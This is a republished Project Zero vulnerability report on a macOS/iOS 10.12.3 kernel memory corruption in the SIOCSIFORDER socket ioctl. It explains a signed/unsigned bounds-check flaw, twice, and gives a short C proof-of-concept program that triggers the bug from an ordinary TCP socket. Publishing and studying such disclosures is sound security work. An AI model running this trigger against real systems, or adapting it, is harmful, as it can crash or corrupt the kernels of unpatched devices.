macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking

Properties

Published:
05.04.2017
Target:
macOS/iOS Kernel 10.12.3 (16D32)

Code

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108
 
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
 
it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
 
ifnet_reset_order contains this code:
 
  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }
 
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
 
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
 
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
 
(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/
 
// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl
 
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
 
it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
 
ifnet_reset_order contains this code:
 
  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }
 
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
 
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
 
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
 
#include 
#include 
#include 
 
#include 
#include 
 
#include 
 
struct if_order {
    u_int32_t           ifo_count;
    u_int32_t           ifo_reserved;
    mach_vm_address_t   ifo_ordered_indices; /* array of u_int32_t */
};
 
#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)
 
int main() {
    uint32_t data[] = {0x80001234};
 
    struct if_order ifo;
  ifo.ifo_count = 1;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;
 
  int fd = socket(PF_INET, SOCK_STREAM, 0);
  int ret = ioctl(fd, SIOCSIFORDER, &ifo);
 
  return 0;
}